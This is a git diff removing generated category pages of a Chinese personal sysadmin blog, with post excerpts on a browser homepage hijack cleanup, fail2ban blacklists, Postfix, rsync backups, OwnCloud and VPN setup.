    [筆記] WinXP 電腦 IE首頁 被dh440.com & http://web.sogou.com/?12141 綁架、劫持的處理方法

    -
    - - - 2017-01-11 - - - - - - - - - 工作筆記 - - - - - -
    - - - 工作上的需求,要幫業務弄一台XP的PC出來 -手邊已經沒有什麼XP的安裝片了,於是上網下載了一個 -系統家園Ghost XP SP3 繁體中文純淨版 -媽咧個B咧,純淨個屁喔! -裡面裝了一堆亂七八糟有的沒的軟體,不過這些軟體好處理,就移除掉就好了 -但是呢,IE首頁一直被綁架著很不爽 -開啟IE後,會先讀取 dh440.com 然後會轉址到 http://web.sogou.com/?12141 -這東西非常頑固!不管是手動清registry 、改IE設定、甚至重設IE都沒用 -以往碰到的狀況,頂多就是重設IE就好,這次頭大了。 -好,想說以毒攻毒吧!先下個 360安全衛士,不管是掃描、掃毒、主頁保護都跑過了,還是沒用! -又換個QQ電腦管家,也是一樣全功能都執行一遍,也是解決不了。 -又下載了 adwcleaner portable 來試試看,雖說有掃到東西,但是首頁被綁架的情況依然沒有成功處理 -最後又試了 malwarebyte 才總算把這個dh440.com 轉址 web.sogou.com 的首頁綁架解決! -因為用dh440.com 當關鍵字去GOOGLE,其實找不到什麼有用的幫助 -就順便記錄一下,希望能幫到其他人! -  -malwarebyte 最後掃出來的LOG是這樣 -我猜是那個2345explorer的問題 > Malwarebytes > > www.malwarebytes.com > > > -Log Details- > > Scan Date: 2017/1/11 > > Scan Time: 上午 10:44:27 > > Logfile: > > Administrator: Yes > > > -Software Information- > > Version: 3. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 在fail2ban中加入手動維護的黑名單

    -
    - - - 2016-12-20 - - - - - - - - - 工作筆記 - - - - - -
    - - - fail2ban 在linux上是個很好用的軟體,可以幫忙阻絕很多沒事幹在亂踹的IP -但是很奇怪的是,在實務上會發現,有些IP會一再出現 -有可能是被關了之後,時間到就放出來了吧… -加上之前手邊有自行維護了一堆黑名單 -就想看看能不能把這些黑名單給加入fail2ban中 -作法如下 -  -建立一個黑名單檔案 -vim /etc/fail2ban/ip.blacklist -把手邊的黑名單都貼進去存檔 -接著修改 /etc/fail2ban/action.d/iptables-multiport.conf -找到 actionstart的部分 -加入 > cat /etc/fail2ban/ip.blacklist | while read IP; do iptables -I f2b-<name> 1 -s $IP -j DROP; done 修改後的 actionstart 區段看起來會像是這樣 -這一段是讓fail2ban 啟動的時候,會去檢查剛剛建立的 ip.blacklist 黑名單,然後把黑名單裡面的IP都丟去iptables 給擋掉 -再來是修改actionban的部分,加入 > echo <ip> >> /etc/fail2ban/ip.blacklist 這是讓fail2ban 偵測並阻擋IP後,會自動把IP加入黑名單中 -  -這樣子應該就可以了…(吧) …. -  -參考網址:https://zach.seifts.us/posts/2013/07/14/how-make-fail2ban-bans-persistent -  -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 修改iredmail 的 postfix 在mail header加入自訂的 tag

    -
    - - - 2016-12-19 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前因為公司的MAIL SERVER遭受退信攻擊

    - -

    USER收到非常大量的退信,由於Anti-SPAM的機制目前沒有比較完整的處理方式

    - -

    所以我跟工程師討論之後,提出在現有SPF/DKIM以外,是不是可以在mail header加入一個特定的tag

    - -

    當收到退信,而這封退信的header中沒有包含我設定的tag,那就可以確定這是SPAM,直接丟掉就好

    - -

    可惜的是,現在用的SPAM Gateway沒有這樣的功能,只能直接把account 加入拒收退信名單(有點鴕鳥心態..)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Linux 底下好用的網路工具 mtr 結合了 ping & traceroute

    -
    - - - 2016-08-11 - - - - - - - - - 工作筆記 - - - - - -
    - - - 安裝: yum install mtr -y -指令: mtr ip_address -以上兩行都是廢話…直接看圖! -畫面很簡單,左邊是會經過的節點(traceroute) 右邊是PING的數據,很容易可以觀察到有沒有掉封包、最佳、最差、平均反應時間 -很好用的工具! - -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD find files and exclude specified path or extensions

    -
    - - - 2016-08-08 - - - - - - - - - 工作筆記 - - - - - -
    - - - FreeBSD 10.1 -找出 /zp/folder路徑下,所有包含 .doc 結尾的檔案,但是排除 AAA 目錄以及 所有 .docx 結尾的檔案 > find /zp/folder -name ‘.doc’ -not -path “AAA” -not -name ‘.docx‘ find & rsync with full path > find /zp/folder -name ‘.doc’ -not -path “AAA” -not -name ‘.docx’ -not -name ‘.wnj’ -exec rsync -avR {} /tmp/ \; - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/1/index.html b/themes/public/categories/工作筆記/page/1/index.html deleted file mode 100644 index 03c91f11..00000000 --- a/themes/public/categories/工作筆記/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/%E5%B7%A5%E4%BD%9C%E7%AD%86%E8%A8%98/ \ No newline at end of file diff --git a/themes/public/categories/工作筆記/page/10/index.html b/themes/public/categories/工作筆記/page/10/index.html deleted file mode 100644 index cbec0cd6..00000000 --- a/themes/public/categories/工作筆記/page/10/index.html +++ /dev/null @@ -1,682 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]Windows 2008 R2 +SQL VPS 費用計算

    -
    - - - 2013-03-18 - - - - - - - - - 工作筆記 - - - - - -
    - - - http://myhosting.com/virtual-server-hosting/custom-vps.aspx -一年就要432,000 ,自己買一台DELL R720,配個96G的RAM也不過三十萬左右 -SQL 是本來就已經有授權可以用,頂多補一些CAL,看來我的雲端夢想還很有得等… -或許只能先把非Windows的服務先推出去吧… - -  -http://www.pachosting.hk/zh-hk/server-solution/windows-virtual-private-server-vps-plan.php -香港的主機,SQL用CPU 計算,費用相對便宜些? - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]用google docs 製作線上報名表單

    -
    - - - 2013-03-18 - - - - - - - - - 工作筆記 - - - - - -
    - - - 最近因為福委會的活動,需要做一些線上報名+統計的表單。 -本來是想說用之前做好的研討會報名表來改,但是因為版面實在差太多,於是作罷。 -自己寫嘛,又提不起勁…..所以咧,我記得google docs裡面似乎可以新增線上表單,那就來試試看好了。 -先登入GOOGLE DOCS,然後選擇建立–>表單 -接下來就看你怎麼設計這張表單,好了之後,可以透過郵件直接送出表單 -很可惜的是,outlook 不支援..(至少outlook 2010不支援這張表單) -格式雖然正確,但是都無法填寫。 而且會一直出現跟google連線的視窗 - -  -從上圖可以看到,不管是checkbox /radio/submit button 都無法正確顯示 -但是同樣的表單,在zimbra desktop client 是可以正常使用的 - -  -折衷的方法,就只好請給連結,讓USER自己上網去寫了。 -寫完之後,結果會自動傳到GOOGLE DOCS去統計,真的很方便 - -  -不過那個時間戳記暫時沒找到地方可以改,先放著好了。 -以後福委會的活動就都改用這樣處理了! - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] SAP business One 主要功能

    -
    - - - 2013-03-12 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    SAP® Business One Key Functionality

    - -
      -
    • Accounting and Financials
    • -
    • Sales and Customers
    • -
    • Purchasing and Operations
    • -
    • Inventory and Distribution
    • -
    • Reporting and Administration -光看文字說明其實沒有太大的的「吸引力」,不過業務介紹的時候倒是很吸引我。
    • -
    - -

    尤其是在報表和自訂功能(user define field)的部分,內建Crystal Report !

    - -

    不過這個授權費和顧問費…..就不知道老闆們是不是真的有心想做了。

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/2/index.html b/themes/public/categories/工作筆記/page/2/index.html deleted file mode 100644 index bcafc68c..00000000 --- a/themes/public/categories/工作筆記/page/2/index.html +++ /dev/null @@ -1,749 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS6 / Postfix / PostfixAdmin / Dovecot /RoundCubeMail / Let`s Encrypt Installation

    -
    - - - 2016-08-01 - - - - - - - - - 工作筆記 - - - - - -
    - - - 原文:http://blog.csdn.net/air_penguin/article/details/47662941 -  -**LAMP ** -#添加 vmail 帳號,做為郵件處理用, uid 2000 必須要和後面的設定一致 > useradd -u 2000 -d /var/vmail -m -s /sbin/nologin vmail #安裝相關套件 > yum -y install httpd mysql mysql-devel mysql-server php php-pecl-Fileinfo php-mcrypt php-devel php-mysql php-common php-mbstring php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc pcre pcre-devel > > >   -整合Apache和PHP #vim /etc/httpd/conf/httpd.conf #增加以下參數 AddType application/x-httpd-php .php ` `PHPIniDir `"/etc/php.ini" #修改以下參數 p.s 有疑問,為何apache 要改用 vmail 來啟動? `DirectoryIndex index. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] ShareX 真的是超級強大、無敵、神奇的螢幕擷取軟體!!!

    -
    - - - 2016-07-21 - - - - - - - - - 工作筆記 - - - - - -
    - - - ShareX 是一套開源(opensource)的螢幕擷取軟體,但是他並不是像一般的screen capture軟體 -只是讓你按個快速鍵,把畫面複製到暫存區,好讓你能夠在其他軟體中貼上這麼簡單。 -ShareX 所擁有的功能包羅萬象,簡單列出現在的版本支援哪些功能 - -除了基本的複製、貼上、存檔以外,還可以自動上傳、加入浮水印、圖片特效、編輯圖片,最近甚至連OCR的功能都加進去了! -原本沒注意到這個OCR功能,剛剛發現之後,就去測試了一下。 -先去網站上找了一份產品的使用手冊PDF檔,然後用shareX截圖並進行辨識 -效果如下 - -可以看到其實效果還不算太差! -當然啦,沒辦法期待能夠跟原來的格式長得一樣,畢竟OCR的用意主要是為了抓取圖片裡面的文字, -在編輯的時候可以更快速,免去輸入大部分文字的時間。 -以這次的測試來說,中文字的辨識正確率大概在75-80%之間,雖不滿意,但還可以接受啦~ -英文的辨識率當然更高,我就懶得測試了! -ShareX 真的是我個人認為有史以來最威猛的opensource 螢幕擷取軟體了! -在 ShareX 面前,其他螢幕擷取軟體根本沒一個能打的! -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] PHP Opensource Systems

    -
    - - - 2016-05-25 - - - - - - - - - 工作筆記 - - - - - -
    - - - 論壇類 PmWiki 2.2.83 FluxBB 1.5.9 Vanilla Forums 2.2 phpMyChat 1.94-RC5 Booked 2.5.19 Simple Machines Forum 2.0.11 phpFreeChat 1.7 MyBB 1.8.6 WebCalendar 1.2.7 MediaWiki 1.26.2 Elgg 1.12.8 Pligg 2.0.2 Lazarus Guestbook 1.24 WikkaWiki 1.3.6 phpBB 3.1.8 ExtCalendar 2.0b2 内容管理 PyroCMS 2.2.5 MODx 2.4.3-pl Zend Framework 2.5.2 b2evolution 6.6.7 Serendipity 2.0.3 Laravel 5.1.11 Soholaunch 4.9.4r25 Symfony 2.7.7 Moodle 2.6.3 Nucleus CMS 3.65 ImpressPages 4.6.4 Nette 2. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 新安裝的 Wordpress 文章的 URL 如果有中文 會找不到

    -
    - - - 2016-04-28 - - - - - - - - - 工作筆記 - - - - - -
    - - - 有一台新起的VPS,裝了Wordpress 之後,如果固定網址是中文的話,會發生找不到的狀況 -在 LOG 裡面會看到類似 > [Thu Apr 28 09:47:25 2016] [error] [client] File does not exist: /var/www/html/-\xe5\x85\xac\xe5\x8f\xb8\xe4\xbb\x8b\xe7\xb4\xb9, referer: http://abc.com.tw/ 這種錯誤,因為跟WORDPRESS有關,所以一開始我用 “wordpress URL 中文” 丟去google ,結果找到一堆說要修改 class-wp.php 的文章,測試了老半天都無法解決問題! -  -後來想到,歸根究底,這是調用 Apache 的Rewrite功能,所以應該是mod_rewrite 這裡有問題 -改從這邊下手,原本以為是我沒安裝這個模組的關係,結果這模組似乎是預設就會安裝 -那是不是沒有啟用呢? -又去翻了一下google ,發現要去修改這個目錄的 AllowOverRide 設定 -所以在httpd.conf 裡面 新增以下語法 > <Directory /path_to_wordpress> > > > AllowOverRide None > > > </Directory> 接著重起 httpd -再開啟中文連結,應該是都OK了! -  -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] WinAudit Parameters

    -
    - - - 2016-04-18 - - - - - - - - - 工作筆記 - - - - - -
    - - - WinAudit parameters -WinAuditu.exe /o=csv /f=%USERNAME%-%COMPUTERNAME%-%today%.csv /r=gmip /m=“收集系統資訊中 請勿關閉並請耐心等候約五秒鐘” -/r Report content, default is NO sections, i.e. nothing is done. ** g Include System Overview** s Include Installed Software o Include Operating System (Small letter o) P Include Peripherals x Include Security u Include Groups and Users T Include Scheduled Tasks U Include Uptime Statistics e Include Error Logs E Include Environment Variables R Include Regional Settings N Include Windows Network t Include Network TCP/IP z Include Devices D Include Display Capabilities a Include Display Adapters I Include Installed Printers (Capital I ) b Include BIOS Version M Include System Management p Include Processor ** m Include Memory** ** i Include Physical Disks** d Include Drives c Include Communication Ports S Include Startup Programs A Include Services r Include Running Programs C Include ODBC Information O Include OLE DB Drivers (Capital O) H Include Software Metering G Include User Logon Statistics - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] rsync with file version control

    -
    - - - 2016-04-18 - - - - - - - - - 工作筆記 - - - - - -
    - - - using rsync with -b (backup) and –suffix parameters to backup file histroy with timestamp if wanna run script in crontab , must add “\” berfore “%” in script -chinese folder/file name is OK. -  > /usr/local/bin/rsync -avPbu –suffix=.date +\%Y\%m\%d\%H\%M\%S –exclude=“@eaDir” –log-file=“/nas/DB_Backup/rsynclog/總營業處date +\%Y-\%m-\%d.log” /218/總營業處 /zp [caption id=“attachment_1651” align=“alignnone” width=“563”] rsync with backup and timestamp result[/caption] -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Daily backup Websites and Offsite Backup using FTP 網頁備份

    -
    - - - 2016-04-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - Daily backup Websites and Offsite Backup using FTP 網頁備份   -1.多個資料庫一起備份 (事實上應該說備份MySQL Server內的所有資料庫) backup multiple databases , in facts , all databases will be dump and backup -2.每一天都是完整備份,所以空間使用量請自行斟酌 in my case , there`s a little more than 500MB per day , that means 180GB per year -3.備份完的資料透過FTP 外推到其他空間 backup files will be push to another sites using FTP -4.變數請自行替換成符合個人的環境 please consider to change the variables in the script - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/3/index.html b/themes/public/categories/工作筆記/page/3/index.html deleted file mode 100644 index ba53a789..00000000 --- a/themes/public/categories/工作筆記/page/3/index.html +++ /dev/null @@ -1,764 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]面對 Cryptolock / Cryptowall 勒索病毒的檔案備份應對辦法

    -
    - - - 2015-12-21 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    最近Cryptolocker/Cryptowall 這類的勒索病毒越來越猖獗

    - -

    也由於一直無法確定病毒的實際來源,所以很難做到在GATEWAY端阻止

    - -

    於是換個角度來想,既然這類勒索病毒的加密目標是我們硬碟裡的「文件」,那只要避免這些「文件」被病毒直接感染到就好了

    - -

    上網查了一下,因為變種很多,原本的cryptolocker不會加密 zip檔,後面的變種好像會,於是備份時要避免用 .zip / .rar 的格式

    - -

    也就是說,要不就把硬碟內容以「映象檔」的方式備份,要不就是存成病毒不會去加密的類型

    - -

    以映象檔方式備份的作法,因為很花時間又很佔容量,所以先不考慮(其實我比較推薦這種方法)

    - -

    存成病毒不會加密的類型又有幾種作法

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] outlook 2010 在某次更新後,只能以安全模式啟動

    -
    - - - 2015-12-10 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    outlook 2010 在某次更新後,只能以安全模式啟動 outlook 2010 always start in safe mode

    - -

    今天一上班就接到三個USER反應一樣的症狀,都是Outlook 2010 只能以安全模式啟動,所有對選項的修改都不會被套用。

    - -

    一問之下,發現三台都在昨天安裝了Windows update,看來某個Update有問題,偏偏我的筆電是唯一一台Office 2016 ,所以沒有這個更新..

    - -

    上網看了一下,果然滿多災情的..

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 10.1 SNMPWALK 抓不到資料

    -
    - - - 2015-08-20 - - - - - - - - - 工作筆記 - - - - - -
    - - - 改 /usr/local/share/snmp/snmpd.conf -You need to change the following limits: view systemview included .1.3.6.1.2.1.1 view systemview included .1.3.6.1.2.1.25.1.1 -to: view systemview included .1.3.6.1.2.1 view systemview included .1.3.6.1.2.1.25.1.1 -  -這樣就好,多了一個 .1 差很多很多…. - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 在指定目錄底下找出含有特定字串的檔案及字串出現位置 how to find string in all files

    -
    - - - 2015-07-29 - - - - - - - - - 工作筆記 - - - - - -
    - - - <span class="pln">grep </span><span class="pun">-</span><span class="pln">rnw </span><span class="str">'directory'</span> <span class="pun">-</span><span class="pln">e </span><span class="str">"pattern" 一行解決 [![2015-07-29_15-24-50](http://wp.cowbay.org/wp-content/uploads/2015/07/2015-07-29_15-24-50-1024x246.png)](http://wp.cowbay.org/wp-content/uploads/2015/07/2015-07-29_15-24-50.png) </span> - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] pdumpfs 檔案備份

    -
    - - - 2015-07-14 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前已經把備份工作都交給同事去處理

    - -

    沒想到前不久真的發生USER手殘,直接把共享目錄內的文件全選、刪除

    - -

    結果要倒回檔案的時候,發現備份的檔案不完全(備份工具是freefile sync ),引發後續一些麻煩事情

    - -

    所以想在原本同事處理的備份工作上,再加一份我自己做的備份作為不時之需

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [抱怨]群暉的 Cloud Sync 設計邏輯真的是有夠.......

    -
    - - - 2015-07-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    最近因為NAS檔案被USER誤刪,進而引發後續的資料備份、還原出錯的問題

    - -

    想來測試一下把資料通通備份到Google Drive 減少這些錯誤

    - -

    在群暉的NAS上,有出一個官方套件叫做 Cloud Sync ,可以將NAS上的資料備份到雲端空間上

    - -

    這麼好用的工具,當然要拿來用啦!

    - -

    興沖沖的安裝套件,開始設定,結果………

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/4/index.html b/themes/public/categories/工作筆記/page/4/index.html deleted file mode 100644 index 342aa3ae..00000000 --- a/themes/public/categories/工作筆記/page/4/index.html +++ /dev/null @@ -1,833 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] outlook 郵件設定 & 選項設定 備份/還原

    -
    - - - 2015-07-01 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前在幫USER換電腦、灌系統,最麻煩的就是outlook 裡面的設定

    - -

    不管是簽名、字型、甚至顏色配置等等

    - -

    就連我自己換電腦或者換系統,都要花很多時間在調整outlook 到習慣的介面

    - -

    一直都在想有沒有方便的工具可以協助備份、移轉 outlook 設定的

    - -

    今天在測試microcloud 的VDI 時,因為廠商之前已經提過outlook 無法保存設定,但是 user profile 可以

    - -

    讓我又想起這個議題,然後就用 outlook profile transfer 丟去google 找答案

    - -

    沒想到還真的讓我找到了!(怪了,那我之前怎麼都沒找到..)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + CACTI 0.8.8b

    -
    - - - 2015-06-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天弄了一台香港的VPS 想說看看對看影片有沒有幫助

    - -

    VPN 設定好之後,想看看在看影片時,流量可以到多少

    - -

    之前就有用過cacti ,感覺還不錯,裝起來也很容易,就想說來裝裝看

    - -

    沒想到在 centos 6.6 上安裝碰到一堆問題….

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 在Google Compute Engine 上建立 CentOS 6 安裝 SoftEther VPN 提供 PPTP/L2TP 服務

    -
    - - - 2015-03-17 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    每次為了SEO想標題都要想很久…

    - -

    之前在 Linode / Vultr / DigitalOcean 上建立  PPTP 讓家裡的 OVO 電視盒可以透過VPN連線去看影片,效果都不怎樣..

    - -

    晚上回家看影片還是時好時壞…

    - -

    一怒之下,想到了 Google COmpute Engine 這東西…不限頻寬不限流量耶,開玩笑!

    - -

    而且這是公司的帳號,可以光明正大的偷渡費用? 

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]其實 Windows NAS Performance 不錯啊!

    -
    - - - 2015-03-16 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今天要放個大檔案到SERVER上給人家 -對方要求說放到NAS上,一個 8G左右的檔案,結果複製過去時候的速度有嚇到我.. -這台Windows NAS 是用 ESX做出來的一台虛擬機 -儲存空間則是透過 iscsi 連到 DELL的MD3200 (1G 而已) -結果Windows 跑出來的數據居然高達 1xx MB … -這比以前我在測試 1G網路的速度時,跑出來的結果要快太多了,以前頂多來到 7x 8x … -也太威猛了吧! - -  -不信邪 再丟一次! -還是有 100MB 左右的水準 - -下載檔案的速度要慢很多,只有 接近 50MB .. - -  -也許這才是真正該有的水準,只是我被群暉的NAS荼毒太久了?所以看到標準的數據才會很訝異? -  -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Freebsd 10.1 post inatll

    -
    - - - 2015-02-24 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    portsnap fetch extract  更新 port tree

    - -

    cd /usr/ports/ftp/axel ; make install clean 安裝 axel 下載工具

    - -

    cd /usr/ports/sysutils/screen ; make install clean  安裝  screen

    - -

    pkg install vim-lite 安裝 vim ,不知道為什麼,我用 ports 安裝 vim 都一直失敗,後來改用 pkg install 才成功

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/page/5/index.html b/themes/public/categories/工作筆記/page/5/index.html deleted file mode 100644 index e2b342d6..00000000 --- a/themes/public/categories/工作筆記/page/5/index.html +++ /dev/null @@ -1,839 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 安裝 Pydio / Windows 安裝 PydioSync Client

    -
    - - - 2015-02-16 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    Pydio ( https://pydio.com/ ) 是一種類似 Dropbox 的文件分享自由軟體

    - -

    之前玩過 owncloud ,也是類似的軟體,但是OWNCLOUD的速度實在讓人不敢領教

    - -

    今天偶然看到這個 pydio ,風評都說速度不錯,於是趁著年前沒啥事情,在VPS上搞了一套起來 (有 FreeBSD的VPS真好! )

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] OwnCloud 搭配Google Drive 同步資料會有時間差

    -
    - - - 2015-01-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 這幾天一直在玩 OwnCloud 前面有幾篇文章說明如何搭配 Google Drive 來提供服務 -今天測試了一下,分別開啟 OwnCloud 網頁、本機、還有 Google Drive 網頁 -我從 Google Drive 上的回收桶救回一個檔案,大小大概 170KB -等了五分鐘之後,本機才出現這個檔案, -底下圖片可以看到,遠端的檔案時間是 17:12 ,但是本機同步回來的時間是 17:17 差了五分鐘左右 - -但是如果我是透過 Google Drive 的軟體,一樣在本機刪除、Google Drive網頁救回,時間差大概就是幾秒鐘而已。 -下面圖片可以看到本機的時間和遠端Google Drive 的時間是一致的 -所以應該不是網路的問題,可能是多透過一個 OwnCloud 去同步的關係 - -至於這個問題有沒有解??想到要去論壇發問就很累…..大概就這樣算了吧…..  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]設定Google API 讓OwnCloud 可以提供 External Storage 服務

    -
    - - - 2015-01-13 - - - - - - - - - 工作筆記 - - - - - -
    - - - 設定Google API 讓OwnCloud 可以提供 External Storage 服務 之前因為要測試私有雲的關係,所以弄了一台 OwnCloud 起來玩 -但是因為機器放在ESXI 上,已經沒有太大的空間可以來丟東西,而且畢竟只是測試用,開那麼大的空間好像也不太對 -後來看到一些文章,說OwnCloud 有支援External Storage 的選項,可以把Amazon S3 / Google Drive/WebDAV 這些空間MOUNT進來變成自己的儲存空間 -形成一個沒有 local storage 的private cloud -底下簡單說明測試 設定Google API 讓OwnCloud 可以提供 External Storage 服務 的步驟 -owncloud 基本安裝設定可以參考 [筆記] CENTOS 7+OWNCLOUD+LDAP+AD 認證設定 這篇 -  -  -登入OwnCloud 的管理者介面,到應用程式確認 External Storage 選項有啟用 p.s 不知道為何,要進入應用程式這個選項都要很久很久…. - -再來先登入 Google Develop Console,選擇左邊選單的API和驗證–>API ,當然前提是在這邊要先建立好專案等等的基本設定,這部分就不多提 -點API之後,右邊會列出現在系統上有提供的API,預設應該是沒有啟用 Drive API / Drive SDK -所以要去啟用, - -  -  -啟用之後,在畫面上就可以看到 Drive API 之後多了個齒輪的圖示 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] gsutil on FreeBSD

    -
    - - - 2015-01-12 - - - - - - - - - 工作筆記 - - - - - -
    - - - 先看這篇 https://cloud.google.com/storage/docs/gsutil -下載之後,不需要編譯,修改系統路徑變數 (export / set / setenv / vi .cshrc) -執行 gsutil config ,會要求前往一個URL,允許程式存取 Google Cloud Storage - -然後會要求輸入一些google的資訊,像是專案ID之類的 -完成之後,可以用 gsutil ls gs://bucket_name 來檢視內容 - -可以看到裡面建立了一個 SN.txt -跟在網頁上看到的是一樣的 - -不過呢,我想要用的功能是把這個空間掛載成本機的磁碟空間,可以直接存取 -還要繼續找看看有沒有其他的程式可以做到 -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD + ZFS as Hybrid Storage ?

    -
    - - - 2015-01-08 - - - - - - - - - 工作筆記 - - - - - -
